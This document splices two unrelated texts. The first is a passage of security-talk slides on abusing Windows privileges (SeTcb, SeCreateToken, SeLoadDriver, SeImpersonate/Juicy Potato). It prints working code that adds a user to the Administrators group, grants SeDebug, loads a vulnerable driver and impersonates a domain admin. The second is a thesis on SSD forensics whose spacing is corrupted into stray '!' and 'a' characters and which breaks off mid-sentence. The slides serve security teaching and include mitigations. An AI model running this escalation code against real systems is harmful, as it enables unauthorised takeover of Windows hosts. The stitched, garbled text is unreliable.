stat = RegSetValueExA(hk, "ImagePath", 0, REG_EXPAND_SZ, (const BYTE*)buffer.c_str(), buffer.length() + 1); (...) “whoami /priv” - Andrea Pierini 29 ➔ “Act as part of the operating system”. (1) “Allows a process to assume the identity of any user and thus gain access to the resources that the user is authorized to access. “ (2) “The calling process may request that arbitrary additional accesses be put in the access token”. ➔ (1) - S4U Logon: Service For User Logon. This service allows a user with SeTcb privilege to logon as a different user without any credentials in order to get a security Impersonation Token by using the LsaLogonUser() function ➔ (2) - For example, the PTOKEN_GROUPS parameter in LsaLogonUser() can be modified SeTcbPrivilege “whoami /priv” - Andrea Pierini 30 ➔ The impersonation Token, valid only in local machine context, obtained by LsaLogonUser() can be used to impersonate threads or processes, but we don’t have SeImpersonate or SeAsssignPrimary privilege…. ➔ “SeImpersonate privilege is not needed for impersonating a thread as long as the token is for the same user and the integrity level is less or equal to the current process integrity level” (MS added other “constraints” starting from Win 10) SeTcbPrivilege “whoami /priv” - Andrea Pierini 31 ➔ The impersonation Token, valid only in local machine context, obtained by LsaLogonUser() can be used to impersonate threads or processes, but we don’t have SeImpersonate or SeAsssignPrimary privilege…. ➔ “SeImpersonate privilege is not needed for impersonating a thread as long as the token is for the same user and the integrity level is less or equal to the current process integrity level” (MS added other “constraints” starting from Win 10) SeTcbPrivilege “whoami /priv” - Andrea Pierini But.. wait… there’s a good news: we can impersonate the thread without SeImpersonate privilege bypassing all these checks! 32 SeTcbPrivilege «S4U Token OriginID==Process Token AuthenticationID» 33 SeTcbPrivilege  Examples of LsaLogonUser()+S4U with MSV1_0_S4U_LOGON S4U extension: ◆ 1. Call LsaLogonUser impersonating our current local user (tcbuser) and add the “Local Administrators” group as an extra group into the access token: ● Impersonate thread with new S4U Token ● Assign our user (tcbuser) the SeDebug Privilege ◆ 2. Call LsaLogonUser impersonating “administrator” ● Impersonate thread with new S4U Token ● Put our user (tcbuser) in the Local Administrators group  Examples of LsaLogonUser()+S4U with KERB_S4U_LOGON extension ◆ Call LsaLogonUser impersonating a domain admin ● Write a file in System32 directory “whoami /priv” - Andrea Pierini 34 //KERB_S4U_LOGON //User: [email protected] using System.Security.Principal; public static void NewIdent() { WindowsIdentity ident = new WindowsIdentity("[email protected]" ); WindowsImpersonationContext ctx = ident.Impersonate(); try { File.WriteAllText("c:\\windows\\system32\\text.txt", "hello from Domain Admin"); } finally { ctx.Undo(); } } } SeTcbPrivilege “whoami /priv” - Andrea Pierini 35 “whoami /priv” - Andrea Pierini SeTcbPrivilege Status = LsaLogonUser( hLsa, &OriginName, Network, ulAuthenticationPackage, pS4uLogon, dwMessageLength, pGroups, &TokenSource, &pvProfile, &dwProfile, &logonId, &hTokenS4U, &quotaLimits, &SubStatus ); PMSV1_0_S4U_LOGON pS4uLogon; pS4uLogon->MessageType = MsV1_0S4ULogon; //NTLMSSP local auth pbPosition = (PBYTE)pS4uLogon + sizeof(MSV1_0_S4U_LOGON); pbPosition = InitUnicodeString(&pS4uLogon->UserPrincipalName, szUsername, pbPosition); // "tcbuser", "administrator" pbPosition = InitUnicodeString(&pS4uLogon->DomainName, szDomain, pbPosition); // "." (...) //S-1-5-32-544 Local Admin Group bResult = ConvertStringSidToSid("S-1-5-32-544", &pExtraSid); pGroups->Groups[pGroups->GroupCount].Attributes = SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY; pGroups->Groups[pGroups->GroupCount].Sid =pExtraSid; (...) 36 “whoami /priv” - Andrea Pierini SeTcbPrivilege DWORD WINAPI AddPriv(LPVOID lpParam) { LSA_UNICODE_STRING lucPrivilege; NTSTATUS ntsResult; PSID mysid; LSA_HANDLE pol; pol = GetPolicyHandle(); mysid=GetCurrentUserSid(); if (!InitLsaString(&lucPrivilege, SE_DEBUG_NAME)) return 0; ntsResult = LsaAddAccountRights(pol, mysid, &lucPrivilege, 1); printf("Added Privilege:%d\n”, LsaNtStatusToWinError(ntsResult)); return 1; } DWORD WINAPI AddUser2AdminGroup(LPVOID lpParam) { LOCALGROUP_INFO_1 localgroup_info; LOCALGROUP_MEMBERS_INFO_3 localgroup_members; LPWSTR lpszUser = L"tcbuser"; localgroup_members.lgrmi3_domainandname = lpszUser; int err = NetLocalGroupAddMembers(L".", L"administrators", 3, (LPBYTE)&localgroup_members, 1); printf("Added to administrator groups result:%d\n", err); return 0; } hThread = CreateThread(NULL,0,AddPriv,NULL,CREATE_SUSPENDED,&threadID); SetThreadToken(&hThread, hTokenS4U); ResumeThread(hThread); WaitForSingleObject(hThread, 0xFFFFFFFF); Video 37 ➔ Allows a process to create an access token by calling token-creating APIs ➔ With this privilege you can create a custom token with all privileges and group membership you need … ➔ You can use the resulting token to impersonate threads even without SeImpersonate SeCreateToken Privilege “whoami /priv” - Andrea Pierini 38 ➔ Allows a process to create an access token by calling token-creating APIs ➔ With this privilege you can create a custom token with all privileges and group membership you need … ➔ You can use the resulting token to impersonate threads even without SeImpersonate SeCreateToken Privilege “whoami /priv” - Andrea Pierini But.. wait… we have a problem.. we can no more impersonate on Win 10 >= 1809 and Win 2019 39 SeCreateToken Privilege 40 But if you set the AuthenticationId to ANONYMOUS_LOGON_UID (0x3e6) you can always impersonate even in Win >=1809 and use a subset of API calls: CreateFile(), RegSetKey()... SeCreateToken Privilege 41 SeCreateToken Privilege “whoami /priv” - Andrea Pierini NTSATUS ZwCreateToken( PHANDLE TokenHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, TOKEN_TYPE Type, PLUID AuthenticationId, PLARGE_INTEGER ExpirationTime, PTOKEN_USER User, PTOKEN_GROUPS Groups, PTOKEN_PRIVILEGES Privileges, PTOKEN_OWNER Owner, PTOKEN_PRIMARY_GROUP PrimaryGroup, PTOKEN_DEFAULT_DACL DefaultDacl, PTOKEN_SOURCE Source ); 42 SeLoadDriver Privilege “whoami /priv” - Andrea Pierini ➔ This user right determines which users can dynamically load and unload device drivers or other code in to kernel mode ➔ Members of domain group “Printer Operators” have this privilege on the DC ➔ To abuse from this privilege you have to install & load a “vulnerable” signed driver ➔ You have to “trick” NtLoadDriver() in order to load the driver parameters from an alternate location in the registry (default HKLM\System\...) ➔ Example: Install & Load vulnerable szkg64.sys driver (STOPZilla) 43 SeLoadDriver Privilege “whoami /priv” - Andrea Pierini std::string data = "\\??\\C:\\TEMP\\szkg64.sys"; LSTATUS stat = RegCreateKeyExA(HKEY_CURRENT_USER, "SYSTEM\\CurrentControlSet\\Services\\Evil", 0, NULL, NULL, KEY_SET_VALUE, NULL, &hk, NULL); DWORD val=1; stat = RegSetValueExA(hk, "ImagePath", 0, REG_EXPAND_SZ, (const BYTE*)data.c_str(), data.length() + 1); stat = RegSetValueExA(hk, "Type", 0, REG_DWORD, (const BYTE*)&val, sizeof(val)); UNICODE_STRING DriverServiceName; LPTSTR sidstring; sidstring=GetCurrentUserSIDStr(); WCHAR regpath1[] = L"\\Registry\\User\\"; WCHAR regpath2[] = L"\\System\\CurrentControlSet\\Services\\Evil"; WCHAR winregPath[256]; wcscpy(winregPath, regpath1); wcscat(winregPath, sidstring); wcscat(winregPath, regpath2); RtlInitUnicodeString(&DriverServiceName, winregPath); status = NtLoadDriver(&DriverServiceName); if (!NT_SUCCESS(status)) { printf("[-] Failed!\n"); return (status); } printf("[+] Ok!\n"); 44 SeLoadDriver Privilege “whoami /priv” - Andrea Pierini 45 SeLoadDriver Privilege “whoami /priv” - Andrea Pierini 46 SeImpersonate & SeAssignPrimaryToken Priv. “whoami /priv” - Andrea Pierini ➔ These privileges permit to impersonate any access Token ➔ Normally assigned to “Service Users” , Admins and Local System ➔ SeImpersonate: ◆ “Impersonate a client after authentication” ◆ Token can be impersonated by a thread through various API calls SetThreadToken(), ImpersonateLoggedOnUser() … ◆ Token can be impersonated by a process through CreateProcessWithToken() API call which relies on the “Secondary Logon Service” ➔ SeAssignPrimaryToken: ◆ “Assign the primary token of a process” ◆ Token can be impersonated by a process through CreateProcessAsUser() call ◆ Privilege also available in the standard shell (medium IL) 47 SeImpersonate & SeAssignPrimaryToken Priv. “whoami /priv” - Andrea Pierini The danger of Impersonation Privileges 48 SeImpersonate & SeAssignPrimaryToken Privs “whoami /priv” - Andrea Pierini ➔ How can we obtain privileged tokens to impersonate them? ◆ Creating a named pipe, forcing a privileged process to write to it and then calling ImpersonateNamedPipeClient() in order to obtain the privileged thread’s token ◆ Establishing a “Security Context” - AcceptSecurityContext() - with a specific SSP (NTLM) in a localhost authentication and acquiring a token of the privileged user - QuerySecurityContextToken() – ◆ DCOM/RPC callbacks (CoImpersonateClient(), RpcImpersonateClient()) ◆ … ➔ “Rotten Potato” the killer exploit to abuse from these privileges ◆ "Local DCOM DCE/RPC connections can be reflected back to a listening TCP socket allowing access to a n NTLM authentication challenge for LocalSystem user which can be replayed to the local DCOM activation service to elevate privileges" - James Forshaw ◆ Exploit & great POC here: https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation- from-service-accounts-to-system/ - Stephen Breen, Chris Mallz 49 From “Rotten Potato” to “Juicy Potato” “whoami /priv” - Andrea Pierini ➔ Rotten Potato and its standalone variants leverages the privilege escalation chain based on BITS service having the MiTM listener on 127.0.0.1:6666 and when you have SeImpersonate or SeAssignPrimaryToken privileges. ➔ During a Windows Desktop hardening review my friend Giuseppe found a weak service configuration and gained access as “Network Service” but BITS was not accessible and port 6666 was firewalled… ➔ So we decided together to weaponize Rotten Potato making: 50 From “Rotten Potato” to “Juicy Potato” “whoami /priv” - Andrea Pierini ➔ Rotten Potato and its standalone variants leverages the privilege escalation chain based on BITS service having the MiTM listener on 127.0.0.1:6666 and when you have SeImpersonate or SeAssignPrimaryToken privileges. ➔ During a Windows Desktop hardening review my friend Giuseppe found a weak service configuration and gained access as “Network Service” but BITS was not accessible and port 6666 was firewalled… ➔ So we decided together to weaponize Rotten Potato making: 51 From “Rotten Potato” to “Juicy Potato” “whoami /priv” - Andrea Pierini ➔ We discovered that, other than BITS there are several out of process COM servers identified by specific CLSIDs we can abuse. They need al least to: ◆ be instantiable by the current “service user” ◆ implement the IMarshal interface ◆ impersonate an elevated user (Local System,…) ➔ Some CLSIDs impersonate the Interactive User in first session ...interesting if DA is logged in... ◆ Example CLSID: {BA441419-0B3F-4FB6-A903-D16CC14CCA44} - CLSID_LockScreenContentionFlyout 52 From “Rotten Potato” to “Juicy Potato” “whoami /priv” - Andrea Pierini 53 From “Rotten Potato” to “Juicy Potato” “whoami /priv” - Andrea Pierini ➔ Juicy Potato allows you to: ◆ Choose a Target CLSID ◆ Define local listening port/ bind address for our local COM Endpoint activation service ◆ Define the RPC port and IP address ◆ Program with optional arguments to launch if exploitation succeeds ◆ Process Creation Mode CreateProcessWithToken() or CreateProcessAsUser() ◆ Test mode: upon success prints the token User and exits, useful for testing CLSIDs 54 From “Rotten Potato” to “Juicy Potato” “whoami /priv” - Andrea Pierini ➔ Juicy Potato allows you to: ◆ Choose a Target CLSID ◆ Define local listening port/ bind address for our local COM Endpoint activation service ◆ Define the RPC port and IP address ◆ Program with optional arguments to launch if exploitation succeeds ◆ Process Creation Mode CreateProcessWithToken() or CreateProcessAsUser() ◆ Test mode: upon success prints the token User and exits, useful for testing CLSIDs ★ All you need can be found here: https://github.com/decoder-it/juicy-potato ★ Including a list of valid CLSIDs for several Windows versions ★ Also available as a metasploit module: (exploit/windows/local/ms16_075_reflection_juicy) 55 From “Rotten Potato” to “Juicy Potato” “whoami /priv” - Andrea Pierini 56 From “Rotten Potato” to “Juicy Potato” “whoami /priv” - Andrea Pierini Video 57 Preventing DCOM /NTLM reflection - Rotten / Juicy Potato exploit? “whoami /priv” - Andrea Pierini ➔ Disable unnecessary services (xbox game services on Win2016, are you kidding me??) ➔ Restrict launch permissions on DCOM objects via DCOMCNFG.EXE (good luck) ➔ Disable DCOM (really sure?) ➔ RS5?? 58 Preventing DCOM /NTLM reflection - Rotten / Juicy Potato exploit? “whoami /priv” - Andrea Pierini ➔ Protect sensitive accounts and applications which runs under the *SERVICE* accounts ➔ Disable unnecessary services (xbox game services on Win2016, are you kidding me??) ➔ Restrict launch permissions on DCOM objects via DCOMCNFG.EXE (good luck) ➔ Disable DCOM (really sure?) 59 Preventing DCOM /NTLM reflection - Rotten / Juicy Potato exploit? “whoami /priv” - Andrea Pierini ➔ Protect sensitive accounts and applications which runs under the *SERVICE* accounts ➔ Disable unnecessary services (xbox game services on Win2016, are you kidding me??) ➔ Restrict launch permissions on DCOM objects via DCOMCNFG.EXE (good luck) ➔ Disable DCOM (really sure?) Upgrade to Win10 >=1809, Windows Server 2019! https://decoder.cloud/2018/10/29/no-more-rotten-juicy- potato/ 60 Final thoughts “whoami /priv” - Andrea Pierini ➔ Never underestimate “whoami /priv” especially in an elevated shell! ➔ On Windows desktops pre Win10-1809 & WinServer pre 2019, if you have SeImpersonate or SeAssignPrimaryToken , “The golden privileges”, you are SYSTEM!  "Service Users" are more a safety rather than a security feature ➔ Maybe there are other not so well known privileges to abuse from? 61 whoami /priv – that’s all, thank you! “whoami /priv” - Andrea Pierini 62 whoami /priv – that’s all, thank you! “whoami /priv” - Andrea Pierini …hope you enjoyed my talk, did you?
pdf
! ! Sentient&Storage:&& Do&SSDs&have&a&mind&of&their&own?& ! ! ! ! ! ! ! ! ! Tom!Kopchak! Kopchak! ! 2! Table&of&Contents& Abstract!.................................................................................................................................................!8! Introduction!..........................................................................................................................................!9! Purpose!...............................................................................................................................................!10! Literature!Review!................................................................................................................................!12! Challenges!...........................................................................................................................................!20! Overview!of!Storage!Architecture!.......................................................................................................!22! Magnetic!Hard!Drives!......................................................................................................................!22! Solid!State!Drives!............................................................................................................................!24! Flash!Memory!..............................................................................................................................!24! Controllers!...................................................................................................................................!27! Evidence!Collection!.............................................................................................................................!30! Methodology!.......................................................................................................................................!31! Materials!.............................................................................................................................................!34! Control:!Seagate!ST98013ASG,!80GB,!7200!RPM!............................................................................!34! SSD!#1:!Intel!SSD!320,!120GB!..........................................................................................................!35! SSD!#2:!Crucial!M4,!128GB!..............................................................................................................!36! Kopchak! ! 3! SSD!#3:!Patriot!Pyro!SE,!128GB!.......................................................................................................!36! SSD!#4:!Samsung!830,!128GB!..........................................................................................................!37! SSD!#5:!OCZ!Agility!3,!60GB!.............................................................................................................!38! SSD!#6:!SuperTalent!MasterDrive,!64GB!.........................................................................................!39! Forensics!Lab!Configuration!............................................................................................................!40! Experiments!........................................................................................................................................!42! Test!1,!Part!1!–!Text!File!Deletion!....................................................................................................!42! Procedure!....................................................................................................................................!42! Results!.........................................................................................................................................!42! Test!1,!Part!2!–!Text!File!Deletion!–!Quick!Format!..........................................................................!43! Procedure!....................................................................................................................................!43! Results!.........................................................................................................................................!43! Test!2!...............................................................................................................................................!43! Test!3,!Part!1!–!Single!JPG!File!.........................................................................................................!44! Procedure!....................................................................................................................................!44! Results!.........................................................................................................................................!44! Test!3,!Part!2!–!Single!JPG!File,!Quick!Format!.................................................................................!45! Procedure!....................................................................................................................................!45! Kopchak! ! 4! Results!.........................................................................................................................................!45! Test!4,!Part!1!–!Single!JPG!File,!TRIM!disabled!................................................................................!46! Procedure!....................................................................................................................................!46! Results!.........................................................................................................................................!46! Test!4,!Part!2!–!Single!JPG!File,!TRIM!Disabled,!Quick!Format!........................................................!47! Procedure!....................................................................................................................................!47! Results!.........................................................................................................................................!47! Test!5,!Part!1!–!Single!JPG!File,!TRIM!enabled,!SSD!connected!via!USB!..........................................!48! Procedure!....................................................................................................................................!48! Results!.........................................................................................................................................!48! Test!5,!Part!2!–!Single!JPG!File,!TRIM!enabled,!SSD!connected!via!USB,!Quick!Format!..................!49! Procedure!....................................................................................................................................!49! Results!.........................................................................................................................................!49! Test!6,!Part!1!–!Single!JPG!File,!Windows!XP!...................................................................................!50! Procedure!....................................................................................................................................!50! Results!.........................................................................................................................................!50! Test!6,!Part!2!–!Single!JPG!File,!Windows!XP,!quick!format!............................................................!51! Procedure!....................................................................................................................................!51! Kopchak! ! 5! Results!.........................................................................................................................................!51! Test!7,!Part!1!–!Two!JPG!Files,!one!deleted!.....................................................................................!52! Procedure!....................................................................................................................................!52! Results!.........................................................................................................................................!52! Test!7,!Part!2!–!Two!JPG!Files,!one!deleted,!quick!format!..............................................................!53! Procedure!....................................................................................................................................!53! Results!.........................................................................................................................................!53! Test!8,!Part!1!–!Two!JPG!Files,!8!MB!partition,!one!deleted!...........................................................!54! Procedure!....................................................................................................................................!54! Results!.........................................................................................................................................!54! Test!8,!Part!2!–!Two!JPG!Files,!8!MB!partition,!one!deleted,!quick!format!.....................................!55! Procedure!....................................................................................................................................!55! Results!.........................................................................................................................................!55! Test!9,!Part!1!–!Two!identical!JPG!Files,!one!deleted!......................................................................!56! Procedure!....................................................................................................................................!56! Results!.........................................................................................................................................!56! Test!9,!Part!2!–!Two!identical!JPG!Files,!one!deleted,!quick!format!................................................!57! Procedure!....................................................................................................................................!57! Kopchak! ! 6! Results!.........................................................................................................................................!57! Test!10,!Part!1!–!60!numbered!JPG!Files,!one!deleted!per!minute!over!an!hour!............................!58! Procedure!....................................................................................................................................!58! Results!.........................................................................................................................................!58! Test!10,!Part!2!–!60!numbered!JPG!Files,!one!deleted!per!minute!over!an!hour,!quick!format!.....!60! Procedure!....................................................................................................................................!60! Results!.........................................................................................................................................!60! Test!11,!Part!1!–!60!numbered!JPG!Files,!one!deleted!per!minute!over!an!hour,!TRIM!Disabled!..!61! Procedure!....................................................................................................................................!61! Results!.........................................................................................................................................!61! Test!11,!Part!2!–!60!numbered!JPG!Files,!one!deleted!per!minute!over!an!hour,!TRIM!Disabled,! quick!format!..........................................................................................................................................!62! Procedure!....................................................................................................................................!62! Results!.........................................................................................................................................!62! Test!12,!Part!1!–!60!numbered!JPG!Files,!one!deleted!per!minute!over!an!hour,!USB!connection! 63! Procedure!....................................................................................................................................!63! Results!.........................................................................................................................................!63! Kopchak! ! 7! Test!12,!Part!2!–!60!numbered!JPG!Files,!one!deleted!per!minute!over!an!hour,!USB!connection,! quick!format!..........................................................................................................................................!64! Procedure!....................................................................................................................................!64! Results!.........................................................................................................................................!64! Observations!and!Analysis!..................................................................................................................!65! Forensic!Implications!..........................................................................................................................!70! Conclusions!.........................................................................................................................................!71! Future!Work!........................................................................................................................................!72! Works!Cited!.........................................................................................................................................!73! ! ! ! ! ! ! ! ! ! ! Kopchak! ! 8! Abstract& This!research!represents!the!most!comprehensive!study!of!the!implications!of!solid!state!drives!on! the!recoverability!of!deleted!files!to!date.!!These!drives!have!the!potential!to!fundamentally!change!the! digital!forensics!industry!due!to!the!differences!in!how!they!respond!to!the!deletion!of!files.!!The!goal!of! this!study!was!to!demonstrate!and!quantify!these!differences.!!A!pool!of!six!solid!state!drives!was! subjected!to!eleven!twoapart!tests,!each!specifically!designed!to!incrementally!demonstrate!variations!in! the!performance!of!SSDs!when!compared!to!a!control!hard!drive.!!Each!experiment!began!with!a! deleted!file!recovery!test,!followed!by!a!quick!format!file!recovery!test.!!!A!wide!variety!of!differences! between!the!solid!state!drives!were!observed,!including!some!drives!that!behaved!nearly!identically!to! the!control!drive!and!others!where!the!likelihood!of!recovering!deleted!data!was!significantly!reduced.!! By!far,!the!most!influential!factor!in!determining!the!recoverability!of!data!during!a!given!test!was!the! state!of!the!TRIM!command,!which!is!responsible!for!notifying!the!drive!controller!of!a!deletion!event! and!expediting!the!garbage!collection!process!for!erasing!the!freed!flash!cells!and!returning!them!to!the! pool!of!available!storage.!!By!better!understanding!the!controller!and!firmware!functionality!of!a!solid! state!drive!as!well!as!the!presence!or!absence!of!the!TRIM!command,!forensics!investigators!can!apply! the!results!of!this!research!to!determine!the!likelihood!of!successful!deleted!file!recovery!from!an! evidence!bearing!solid!state!drive.!! & ! & Kopchak! ! 9! Introduction& ! The!proliferation!of!computer!technology!and!the!Internet!has!significantly!impacted!society.!!As! computers!became!more!commonplace!in!homes!and!businesses,!they!assumed!an!everaexpanding!role! in!the!lives!of!their!users.!!Everyday!activities!such!as!banking,!shopping,!and!communication,!previously! conducted!between!individuals!in!a!public!area,!could!now!be!completed!without!leaving!one’s!home!or! office.!!While!this!increased!convenience!for!end!users,!criminals!also!adopted!these!new!technologies! and!developed!strategies!to!perpetrate!their!crimes.!!This!shift!in!technology!required!investigators!to! design!new!approaches!for!interrogating!computers!and!their!associated!storage!devices!to!obtain! evidence.! ! Currently,!there!exists!a!wide!variety!of!methods!employed!for!storing!user!information!and! data.!!Traditional!computer!hard!drives!use!magnetic!media!to!store!information.!!Forensic!investigators! have!welladefined!protocols!and!procedures!for!managing!the!capture!of!evidence!from!these!types!of! drives!(Bell,!3).!!Many!of!these!processes!take!advantage!of!the!physical!characteristics!of!the!storage! media,!as!well!as!the!methods!by!which!various!operating!systems!utilize!the!media.!!For!example,!since! many!popular!operating!systems!do!not!purge!data!once!the!user!issues!a!command!to!delete!a!file,! investigators!are!able!to!either!partially!or!fully!recover!the!contents!of!a!deleted!file.!!This!data!may!be! available!since!the!file!is!often!simply!marked!as!deleted,!and!the!space!associated!with!the!file!is! returned!to!the!pool!of!available!storage.!!The!slow!speed!and!mechanical!latency!of!magnetic!storage!is! a!technological!limitation!that!makes!purging!a!file’s!contents!upon!deletion!impractical!(Gutmann).!!By! knowing!and!understanding!this!characteristic,!it!is!possible,!and!generally!a!fairly!straightforward! process,!to!recover!deleted!files!from!a!magnetic!hard!drive.!!This!basic!property!of!magnetic!storage! has!become!a!cornerstone!of!many!forensic!investigations!(Bell,!4).! Kopchak! ! 10! Flashabased!solid!state!storage!is!rapidly!becoming!a!popular!replacement!option!for!traditional! hard!drives,!especially!in!highaperformance!servers!for!caching,!as!well!as!in!mobile!devices!such!as! laptops.!!These!drives!offer!many!clear!advantages!over!their!mechanical!counterparts,!such!as! significantly!quicker!seek!times!and!throughput!rates,!better!vibration!and!shock!tolerance,!and! increased!reliability,!which!have!led!to!their!increased!deployment!(Leventhal,!26).!!New!technologies! typically!offer!new!challenges,!especially!in!the!area!of!data!security,!and!solid!state!drives!are!no! exception!(Bell,!4a5).!!With!the!proliferation!of!this!type!of!media,!concerns!have!mounted!regarding!the! impact!of!this!technology!on!the!data!storage!lifecycle.!!Minimal!research!has!been!conducted!regarding! the!impact!of!this!new!storage!technology!on!existing!forensic!practices!(King,!S111).!!Can!simply! creating!a!disk!image!of!a!solid!state!drive!irrevocably!destroy!crucial!evidence?!!Can!deleted!files!be! recovered!employing!the!same!techniques!used!on!traditional!hard!drives?!!These!are!just!a!few!of!the! many!questions!that!must!be!answered.! ! Forensic!investigators!often!rely!on!trace!amounts!of!evidence!to!make!or!break!a!case.!!A!single! mistake!during!the!data!acquisition!or!recovery!portions!of!an!investigation!can!be!the!difference! between!a!successful!conviction!or!a!failed!case.!!Investigative!procedures!should!never!be!developed! adahoc,!due!to!the!risk!of!tampering!with!or!destroying!evidence.!!When!working!with!any!new!storage! technology,!it!is!critical!to!understand!the!characteristics!of!the!underlying!physical!storage,!and!how! data!is!managed!and!deleted!by!the!drive!or!device!(King,!S112).!!By!studying!solid!state!drive!forensics! procedures!now,!forensics!professionals!will!be!better!prepared!to!work!with!these!drives!in!the!future.! Purpose& This!project!will!seek!to!comprehensively!study!the!impact!of!solid!state!drives!on!the!forensics!data! acquisition!and!investigation!process.!!!Specifically,!this!research!will!focus!on!the!impact!of!these!drives! on!current!forensics!practices!involving!deleted!file!recovery.!!Ultimately,!this!research!will!seek!to! Kopchak! ! 11! answer!the!question!of!how!these!drives!behave!when!compared!to!traditional!hard!drives,!and!if! traditional!forensics!approaches!are!sufficient!for!recovering!deleted!files!from!a!solid!state!drive!or!if! they!must!be!modified.!!The!goal!of!this!research!is!to!contribute!to!the!forensics!community!a!more! coherent!understanding!of!the!implications!of!working!with!these!storage!devices!that!may!be! referenced!when!collecting!and!investigating!evidence!stored!on!a!solid!state!drive.!!! ! & Kopchak! ! 12! Literature&Review& ! Overall,!minimal!research!has!been!conducted!regarding!the!impact!of!solid!state!drives!on! existing!forensics!procedures,!but!this!research!is!certainly!an!area!of!keen!interest!within!the!digital! forensics!community.!!Preliminary!work!has!shown!that!this!type!of!storage!behaves!in!a!significantly! different!manner!than!existing!magnetic!storage!technologies,!and!presents!unique!challenges!with! respect!to!data!retention!and!forensic!investigation!(Bell,!11).!!This!certainly!appears!to!be!an!area! where!there!is!much!more!to!learn,!to!research,!and!to!better!understand.!!This!literature!review!will! focus!on!the!general!understandings!and!concepts!related!to!flash!memory!forensics,!including!the! research!that!has!been!done!previously!in!this!area.!!This!review!will!also!serve!as!a!delineation!of!the! basic!hardware!and!fundamental!operation!of!solid!state!disks,!and!why!the!architecture!of!these!drives! pose!such!a!challenge!to!traditional!forensics!techniques.!!This!information!will!provide!a!basis!for!a! better!understanding!of!the!physical!properties!of!flash!media,!and!will!also!provide!a!snapshot!of! current!research!and!issues!to!help!guide!the!direction!and!focus!of!this!research.! ! The!key!component!of!a!solid!state!disk!is!its!flash!memory.!!This!flashabased!form!of!storage! exhibits!different!properties!when!compared!to!traditional!magnetic!storage!mediums.!!To!understand! solid!state!drives,!one!must!first!understand!the!underlying!flash!memory.!!The!article!“Characterizing! Flash!Memory:!Anomalies,!Observations,!and!Applications”,!written!by!researchers!at!the!Center!for! Magnetic!Recording!Research!at!the!University!of!California,!detailed!these!parameters!(Grupp,!et!al.).!! The!article!attempted!to!look!past!the!typical!manufacturer!specifications!for!flash!memory!and!reveal! true!facts!about!the!media!–!including!the!performance,!power,!and!reliability!of!flash!devices.!!This! article!provided!information!about!the!physical!structure!of!flash!memory,!and!how!data!is!stored!on! the!physical!medium.!!One!of!the!more!interesting!aspects!detailed!was!the!analysis!of!flash!memory! life.!!Flash!memory!is!made!up!of!a!variety!of!cells,!with!a!finite!amount!of!information!stored!in!each! cell!(25).!!After!extended!periods!of!repeated!use!and!reuse,!individual!cells!wear!out!and!fail.!!When! Kopchak! ! 13! failures!occur,!the!entire!affected!block!of!storage!is!taken!out!of!service.!!This!creates!the!potential!for! residual!data!to!remain!within!a!flash!based!solid!state!disk.!!In!addition!to!describing!this!process,!actual! tests!were!performed!using!a!variety!of!flash!memory!chips,!to!observe!the!behavior!of!the!flash!when! stressed!and!repeatedly!used!(28a29).!!The!study!indicated!that!certain!types!of!use!patterns!are!more! likely!to!cause!errors!to!occur!in!flash!memory!devices,!and!those!errors!increase!dramatically!when! approaching!the!manufacturer!specified!lifecycle!for!the!chip!(33).!!By!better!understanding!the!physics! and!lifecycle!of!flash!memory,!it!is!possible!to!look!for!areas!where!sensitive!data!may!be!left!on!a!solid! state!disk.!!This!article!provides!insight!into!the!operation!of!these!drives,!which!in!turn!can!be!used! towards!better!understanding!the!forensics!characteristics!of!these!types!of!devices.! ! For!the!purpose!of!this!research,!it!is!important!to!explore!the!current!condition!of!the!solid! state!drive!industry,!and!examine!how!these!devices!are!used!in!enterprise!environments.!!Leventhal! explores!the!applications!of!flash!technology!in!the!computer!storage!industry.!!As!the!cost!per!gigabyte! of!flash!storage!has!declined!nearly!exponentially!over!the!past!several!years,!the!popularity!of!this! format!has!increased!substantially!(Leventhal,!25).!!Benefits!of!SSDs!include!significantly!reduced! latencies!when!compared!to!even!the!fastest!rotating!magnetic!disks,!while!consuming!less!power!and! dissipating!less!heat!(30).!!Flash!memory!is!still!expensive!in!terms!of!cost!per!gigabyte,!so!currently,!it!is! still!not!competitive!when!compared!to!magnetic!disks!for!bulk!data!storage,!although!this!cost!disparity! continues!to!diminish!as!time!goes!on.!!For!caching!and!logging,!however,!flash!based!storage!offers! many!advantages!due!to!its!faster!performance!and!lower!read!and!write!latencies!(28).!!One!of!the! facts!mentioned!in!this!article!was!that!flash!memory!devices!typically!contain!a!substantial!amount!of! “unadvertised”!storage!capacity,!held!in!reserve,!which!is!invisible!to!the!operating!system!(27).!!This!is! done!to!increase!the!lifecycle!of!the!drive!as!individual!flash!memory!cells!fail!and!become!unusable.!! Since!a!fair!amount!of!storage!is!unavailable!at!any!given!point!in!time,!it!seems!that!this!could!provide!a! source!of!residual!data!on!the!drive,!which!might!prove!to!be!a!useful!component!of!a!forensic! Kopchak! ! 14! investigation.!!This!may!provide!a!productive!avenue!to!investigate!further!as!part!of!an!experiment!or! additional!research.! ! To!gain!a!further!understanding!of!the!technical!limitations!of!solid!state!drives,!an!article! written!by!Mark!Moshayedi!and!Patrick!Wilkison!was!referenced.!!This!piece!discussed!some!of!the! advantages!and!limitations!of!current!SSD!technology.!!One!surprising!restriction!is!that!the!cells!in!many! types!of!flash!memory!must!be!erased!before!being!written,!and!this!erase!process!is!very!slow! (Moshayedi,!36).!!To!further!complicate!matters,!only!an!entire!block!can!be!erased!at!a!time!(35).!!In! other!words,!data!is!marked!for!deletion,!but!a!block!cannot!be!reclaimed!until!all!the!data!on!that!block! is!either!marked!for!deletion!or!moved!to!another!block!(36).!!This!would!appear!to!be!an!area!that! might!be!a!substantial!risk!for!leaving!residual!data!behind.!!SSDs!also!need!to!manage!bad!blocks!that! develop!over!time,!and!replace!them!with!good!blocks!(37a38).!!These!operations!require!a!substantial! amount!of!background!processing,!which!can!become!a!bottleneck.!!Additionally,!it!is!possible!that!this! background!processing!might!manipulate!data!or!delete!potential!evidence,!perhaps!without!receiving! any!commands!from!the!operating!system!at!all.!!Although!this!article!did!not!cite!any!experiment,!it! provided!an!excellent!overview!of!the!challenges!and!benefits!on!the!SSD!landscape.!!Understanding!the! issues!surrounding!erasing!and!reclaiming!blocks!of!storage!will!be!an!important!area!for!this!research.! ! Several!of!the!aforementioned!articles!discussed!the!use!of!additional!storage!within!a!solid! state!disk!for!the!purposes!of!wear!leveling.!!To!better!understand!this!concept,!the!article!“Design!and! 